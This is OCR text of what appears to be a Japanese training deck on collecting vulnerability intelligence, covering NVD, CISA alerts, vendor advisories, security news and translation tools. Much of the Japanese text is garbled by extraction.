3 https://nvd.nist.gov/vuln/search
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NVD

NVD DEMEBEDR—TERDESIGERNGED,
BRICOITANTEELLEFERSELY,

CVE ID
. EPHPRDES(E TUNDERGOING REANALYSIS] &FR
QUICK INFO
« R—THimlCERR
- B - RREFH - I/EBRE
Current Description (ZRIRDERER)
Analysis Description (73#rdD35HEH)
Severity (R&Z=. BEXE)
Reference to Advisories, Solutions, and Tools (ZZ&XGik)
Weakness Enumeration (ifz351445 1 —&
- %39 DSt IEMEZ CWEXL TR
Known Affected Software Configurations
(IR EZ 2 TDY T NI T T7EETE)
« %395 m=Z CPEX2 T&RR
Change History (EE£JEf)

2% 1 Common Weakness Enumeration https://www.ipa.go.ip/security/vuln/CWE.html
32 Common Platform Enumeration https://www.ipa.go.jp/security/vuln/CPE.html



https://www.ipa.go.jp/security/vuln/CPE.html
https://www.ipa.go.jp/security/vuln/CWE.html

NVD TI& CVE &E73Y Severity (RZIS, EXSE) & CVSSH! TEHAILI=t DA RO S,
N—230 3 REN—T3V 20 ZUYBZDIENTED,

°||||I' |"|||||'

Seve rity WA ER @  CVSS Version 2.0

CVSS 3.x Severity and Metrics:

m NIST: NVD Base Score: |[HSHiGH] Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

A

NVD AnIlysts use publicly available information to associgite vector strings and CVSS scores. We also display any CVSS infolvation provided within the

CVE Lis{from the CNA.

VE based on publicly available information at the time of analysis| The CNA has not provided

Note: NYD Analysts have published a CVSS score for this C
a score ithin the CVE List.

ST RS (X NIST EAfE 7.5 KIBRAC & DT
CVss DIE( S THigh TS IPAXL DN FIRSTX2 (DS = S8

IR (C KD EIED

\

21 Common Vulnerability Scoring System https://www.ipa.go.jp/security/vuln/CVSSv3.html
¥2 https://www.first.org/cvss/specification-document
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CISA Alert

KE CISA (X ZEREEAYAM/N\—tEX2UTA4 MV IFZANIIFvEF)T4T) (TRFEDX
EXFHITLTULSD, Alert GEEMRE) (XPTELREAM DS LVMEHREHD,

cyBersecurmy (@) Q

& INFRASTRUCTURE
SECURITY AGENCY [ [| m

Alerts and Tips ~ Resources

National Cyber Awareness System > Alerts

Alerts provide timely information about current security issues, vulnerabilities, and exploits. Sign up to receive these technical alerts in your inbox or subscribe to our RSS
feed.

2022|2021 202020192018 | 2017 | 2016 | 2015 | 2014 2013 | 2012 | 2011 | 2010 | 2009 | 2008 | 2007 | 2006 | 2005 | 2004

AA22-138B: Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control
AA22-138A: Threat Actors Exploiting F5 BIG-IP CVE-2022-1388

AA22-137A : Weak Security Controls and Practices Routinely Exploited for Initial Access
AA22-131A: Protecting Against Cyber Threats to Managed Service Providers and their Customers
AA22-117A:2021 Top Routinely Exploited Vulnerabilities

AA22-110A : Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure

% https://www.cisa.gov/uscert/ncas/alerts
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CISA Alert

CISA Alert XS4 EIRICEST B EDHEEOVIL DI THERLLERNREITS,
ZFD=HREST=HRANGZVDN, ROLSGERENEETNEIENZLY,

o NYAH—EP

. nlES

« YA NI

- FITH - =REEIH

Summary (fi£)
Technical Detail (3ftr89725E40)
Detection Methods/Signatures (AR&1D5%/S T 32T )
Mitigation ((2#05R)

Resources (=R 9 NEXHR)
Disclaimer (R &%E18)

Purpose (XEDIERBER)
References (5|FA3GERK)
Appendix (f#iE)
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ICSCoE TLP:WHITE [ 5 #7)

TEEDOHSEET F/N\A 1) —

ERICESTIE. BHERDHRBETRNAF)—ZFEDNTDEILGR—VZFHEL TS
CERBLDT, CNZEEHMICHERT DXL,

ecurity C,
o ey

'"III

\

o,
K
g

Cisco D¢
Cisco Security
Cisco Security Advisories

Vulnerabilities Filter By Product

Quick Search

Advanced Search
ADVISORY IMPACT CVE LAST UPDATED VERSION

CVE-2022-20806

[ a Cisco Expressway Series and Cisco TelePresence Video Medium CVE-2022-20807 ... 2022 May 24 11

Communication Server Vulnerabilities

a Cisco 10S XR Software Health Check Open Port Vulnerability Medium L Egar 222082 2022 May 20 1.0
[ G Cisco Se.c'ure Network Analytics Remote Code Execution Medium CVE-2022-20797 2022 May 18 1.0
Vulnerability
isco E ise Ch Email -Si ipti -2022-
‘” a Cisco nF?rpnse Chat and Email Stored Cross-Site Scripting Medium CVE-2022-20802 2022 May 18 1.0
Vulnerability

CVE-2022-20666

[ G C|s<.:o .Common Se.r.v!ces Platform Collector Cross-Site Medium CVE-2022-20667 ... 2022 May 18 1.0
Scripting Vulnerabilities

‘; G Cisco UCS Director JavaScript Cross-Site Scripting Medium CVE-2022-20765 2022 May 18 1.0
Vulnerability

3 https://tools.cisco.com/security/center/publicationListing.x
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Cisco (DBl

a Cisco Security Advisory

Cisco Enterprise NFV Infrastructure Software Vulnerabilities

Advisory ID:

First Published:

Version 1.0:
Workarounds:

Cisco Bug IDs:

CVSS Score:

Summary

cisco-sa-NFVIS-MUL-7DySRX9
2022 May 4 16:00 GMT

Final

No workarounds available

CSCvz73971

CVE-2022-20777
CVE-2022-20779
CVE-2022-20780
CWE-284
CWE-611

¥ Download CVRF

Email

Cisco Security
Vulnerability Policy

To learn about Cisco security
vulnerability disclosure

CSCvz73973
CSCvz73988
Base 9.9 @

policies and publications, see
the Security Vulnerability
Policy. This document also
contains instructions for
obtaining fixed software and
receiving security vulnerability
information from Cisco.

Multiple vulnerabilities in Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an

attacker to escape from the guest virtual machine (VM) to the host machine, inject commands
that execute at the root level, or leak system data from the host to the VM.

VMware (D{Fl*2

Critical

Subscribe to Cisco
Security Notifications

Advisory ID: VMSA-2022-0014.1

CVSSv3 Range: 7.8-9.8

Issue Date: 2022-05-18

Updated On: 2022-05-27

CVE(s): CVE-2022-22972, CVE-2022-22973

Synopsis: VMware Workspace ONE Access, |dentity Manager and vRealize

21 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-NFVIS-MUL-7DySRX9

Automation updates address multiple vulnerabilities.

22 https://www.vmware.com/security/advisories/VMSA-2022-0014.html
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OSS (Open Source Software) D7 R/NNAH1)—+ FHK(TTOAD IR EIZIXSDENH S,
Z HFEFE(L Changelog. Release Note ZLEDRRIND NS

ISC BIND D% OpenSsL d{fl*2

CVE-2022-1183: Destroying a TLS session early causes assertion failure OpenSSL Security Advisory [03 May 2022]

J Updated on 18 May 2022 » © 2 Minutes to read » Contributors @) @ brint @ share € Dark (3 PDF

The c_rehash script allows command injection (CVE-2022-1292)
CVE: CVE-2022-1183

Document version: 2.0 .
Severity: Moderate

Posting date: 18 May 2022

The c_rehash script does not properly sanitise shell metacharacters to
Program impacted: BIND prevent command injection. This script is distributed by some operating
systems in a manner where it is automatically executed. On such operating
systems, an attacker could execute arbitrary commands with the privileges
of the script.

Versions affected: BIND 9.18.0 -> 9.18.2 and 9.19.0 of the BIND 9.19 development branch
Severity: High

Exploitable: Remotely Use of the c_rehash script is considered obsolete and should be replaced
by the OpenSSL rehash command 1line tool.

Description:

This issue affects OpenSSL versions 1.0.2, 1.1.1 and 3.0.

An assertion failure can be triggered if a TLS connection to a configured http TLS listener with a defined endpoint is destroyed too early.

Impact: OpenSSL 1.0.2 users should upgrade to 1.0.2ze (premium support customers only)
OpenSSL 1.1.1 users should upgrade to 1.1.1o
On vulnerable configurations, the named daemon may, in some circumstances, terminate with an assertion failure. Vulnerable configurations are those that OpenSSL 3.0 users should upgrade to 3.0.3

include a reference to http within the listen-on statements in their named.conf . TLS is used by both DNS over TLS (DoT) and DNS over HTTPS (DoH),
but configurations using DoT alone are unaffected. This issue was reported to OpenSSL on the 2nd April 2022. It was found by

Elison Niven of Sophos. The fix was developed by Tomas Mraz from OpenSSL.
CVSS Score: 7.0

CVSS Vector: CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:0/RC:C 0CSP_bas1c_ver1.fy may 1HCOFFECt1y verlfy the response signing certificate (CVE_2022_1343)

31 https://kb.isc.org/docs/cve-2022-1183
X2 https://www.openssl.org/news/secadv/20220503.txt
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31 https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf P. vii
%2 https://www.enisa.europa.eu/publications/technical-guideline-on-threats-and-assets/@ @download/fullReport P.3
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Industrial Spy data extortion market gets into the ransomware X1
game
By Lawrence Abrams May 26, 2022 08:02 AM 0

The Industrial Spy data extortion marketplace has now launched its own ransomware operation, where
they now also encrypt victim's devices.

Last month, we reported on a new data extortion marketplace called Industrial Spy that allowed threat
actors, and possibly even business competitors, to purchase data stolen from companies.

This marketplace sells different types of stolen data, ranging from selling 'premium' data for millions of
dollars to individual files for as little as $2.

Vehicle owner data exposed in GM credential- 2
stuffing attack

Car maker says miscreants used stolen logins to break into folks' accounts

Jeff Burt Wed 25 May 2022 // 15:41 UTC

29 Automaker General Motors has confirmed the credential stuffing attack it
suffered last month exposed customers' names, personal email addresses,
[1] and destination data, as well as usernames and phone numbers for family
members tied to customer accounts.

Trucks come off the assembly line at GM's Chevrolet Silverado and GMC Sierra pickup truck
plant in Fort Wayne, Indiana

Other more personal information, including social security and credit card and
bank account numbers, as well as drivers license data are not stored in
customers' GM accounts and were not laid bare, GM officials said in a letter
[PDF] sent to customers this month.

%1 https://www.bleepingcomputer.com/news/security/industrial-spy-data-extortion-market-gets-into-the-ransomware-game/

32 https://www.theregister.com/2022/05/25/gm-credential-stuffing-attack/
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BMEOER. NBEDRAUMNIENETZTYEINTLDIEEN LY,
2T S0 H5HEELEEBBRDBITIZNS,

=N -
- X1 Ransomware by ICS Sector
RTF Qs 2028

Royal Road document Eﬂ 14 _T_ 7

Manufacturing Oil & Gas
s 20 o 7

Transportation Pharmaceuticals

g Food & Beverage  Mining
7 & B 1

Tendyron downloader Energy Chemical, Agriculture
running in iexplorer.exe |

i
- - -CHEy- - - Ransomware by I . Matal roducts
; .

A Manufacturing e o Automotive
Q Subsector B Heating and Cooling
nw

Q42021
t86.dat P s Lighting
Likely a downloader Loader
' - 5 Plastics
- 4 Technology, Aerospce, Tools
v

@ - 3 Packaging, Food & Beverage, Medical, Rail
@ & . 2 Textiles, Machinery, Energy, Steel, Adhesives, Rubber
I 1 Building Materials, Paper, Glass, Automation, Electronics, Pet Food, Children's Toys,

Backdoor based on Farfli

Dental, Aviation, Security Equipment, Construction Components, Printing Machines,

i Jewelry, Maritime, Weapons, Chemical, ICS, Lubricants, Floor Mats, Solvents, Military,

FlowCloud running in iexplorer.exe Masonry, Paint, Furniture, Resins, Printing, Police Equipment, Vaccuums, Composites,
Clay Pipe, Ice Equipment, Cutting Dies, Safety products, Dairy

Figure 6. Compromise chain from the Royal Road document to FlowCloud

1 https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/

22 https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/
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®E (EBRE) v AAE v FAsE %1
¢ %2
Organizations are concerned about the risks associated BEEF. BEOHIEEZETCIREDHDIHFEPT—
with products and services that may potentially contain EX. BER. H2WEY TS F—ricH i 280E
malicious functionality, are counterfeit, or are vulnerable REOTNEYIRIBITIC KL DEHBMEICEET 2 Y XTI Z/R
due to poor manufacturing and development practices LTWET,
within the supply chain.
) »H 0 <
KEE - BEIRH N1 VEE WREE BAE v g N1 VEE R_EE HAFE v -><3
Organizations are concerned about the risks associated with X HiglE. BROHIEENEEFNTVWDIABEELNH D, BEINTWL
products and services that may potentially contain malicious 3. FRYTIA4F—VHRNOEESR L CHEETNA+2ED)
functionality, are counterfeit, or are vulnerable due to poor ICHESS TH D AREMEDH I HURR LVCY—ERICEET DY R T E K
manufacturing and development practices within the supply chain. | BLTWET,

Soshiki wa, akui no aru kind ga fukuma rete iru kanosei ga aru, giz6 sa rete iru, matawa
sapuraichén-nai no seizo oyobi kaihatsu kanko ga fujibun'na tame ni zeijakudearu
kanosei no aru seihin oyobi sabisu ni kanren suru risuku o kenen shite imasu.

D) 248/ 5,000 D) 0 bl;l <

3¢1 5| F7t https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-161r1.pdf P.ii

X2 https://www.deepl.com/
23 https://translate.google.co.jp/
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BE (BERE) v

Four score and seven years ago our fathers brought forth
on this continent, a new nation, conceived in Liberty, and
dedicated to the proposition that all men are created equal.

BASE v mEs x1

4L 7 ER]. BRRORMBIFZDKEIC, BRHEESE
U, IRTOABRFHICESNTWS EWS@BEICET
ShicH LDWERZHESIEF Ui,

<) PG @ 0 <
HEE - BRI RAYEE REE HAE v & RV REE BAE v ->:<2
Four score and seven years ago our fathers brought forth on this X AR A7, 7FH]. cBEORFIFZ. BETETN. INTOABRRFTFE

continent, a new nation, conceived in Liberty, and dedicated to the
proposition that all men are created equal.

FICAES N2 E WS MmEICE
LFUro

RUT. COXREE HLWEZEHH

4 Sukoa, 7-nen mae, watashitachi no chichioya wa, jiyide umare, subete no ningen wa
byddo ni s6z0 sa reru to iu meidai ni sen'nen shite, kono tairiku, atarashi kuni o
umidashimashita.

L D) 176/ 5,000 <) [_|:| c"q <

Four score and seven years ago = 87 gl

X1 https://www.deepl.com/
22 https://translate.google.co.jp/
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